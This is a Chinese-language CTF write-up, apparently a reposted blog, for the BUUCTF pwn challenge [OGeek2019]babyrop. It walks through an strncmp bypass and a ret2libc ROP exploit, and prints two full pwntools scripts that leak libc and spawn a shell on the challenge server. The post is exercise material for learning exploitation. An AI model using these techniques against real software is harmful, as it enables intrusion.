[BUUCTF-pwn]——[OGeek2019]babyrop

[BUUCTF-pwn]——[OGeek2019]babyrop

  • 题目地址:https://buuoj.cn/challenges#[OGeek2019]babyrop
  • 题目:
    在这里插入图片描述
    话不多说,先checksec一下,开启了NX保护,但是没开启地址随机化。
    在这里插入图片描述
    在IDA中看看,三个函数挨个点开看看
    在这里插入图片描述
    第一个,啥用没有。我也不知道写这个函数是干嘛,可能学的还是太少。
    在这里插入图片描述
    第二个函数,发现了栈溢出的敏感函数read。但是里面有个判断,里面函数返回值必须为0,否则直接终止程序。通过了解strncmp函数的性质。只要v1是0,返回值必定为0。因此buf的第一个字符为 '\0’即可。
    在这里插入图片描述
    再来看看最后一个函数,a1是上一个函数的返回值。所以a1要稍微大一点。不然一会栈溢出的时候。万一太小是else语句的执行。太小就无法有效栈溢出了a1会长度限制。
    别问为什么不在第二个函数里面的read函数栈溢出。问就是因为0x20太小了
    在这里插入图片描述

所以expolit为

from pwn import *
from LibcSearcher import *

p=remote('node3.buuoj.cn',29760)
elf=ELF('./pwn')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825
payload1='\x00'+'\xff'*(0x8 - 0x1)
p.sendline(payload1)
p.recvline()

payload='a'*(0xe7 + 0x4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
p.sendline(payload)

read_addr=u32(p.recv(4))
print 'read_addr: ' + hex(read_addr)

libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
p.sendline(payload1)
p.recvline()
payload='a'*(0xe7 + 0x4)
payload+=p32(system_addr) + p32(0) +p32(binsh)
p.sendline(payload)

p.interactive()

孩子信心满满提交了 。结果晴天霹雳
在这里插入图片描述
孩子找了好多资料。百思不得其解,耽误了两三天。突然有一天,思绪一动,不会是文件名和模板一样造成的吧。将文件由pwn改为了mian。expolit也改了改。

from pwn import *
from LibcSearcher import *

p=remote('node3.buuoj.cn',29760)
elf=ELF('./main')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825

payload1='\x00'+'\x07'*(0x8 - 0x1)
p.sendline(payload1)
p.recvline()

payload='a'*(0xe7 + 0x4)
payload+=p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(0x8)
p.sendline(payload)

read_addr=u32(p.recv(4))
print 'read_addr: ' + hex(read_addr)

libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')
p.sendline(payload1)
p.recvline()
payload='a'*(0xe7 + 0x4)
payload+=p32(system_addr) + p32(0) +p32(bin_sh_addr)
p.sendline(payload)

p.interactive()

直接出结果,孩子裂开。

猜你喜欢

转载自blog.csdn.net/Y_peak/article/details/113744021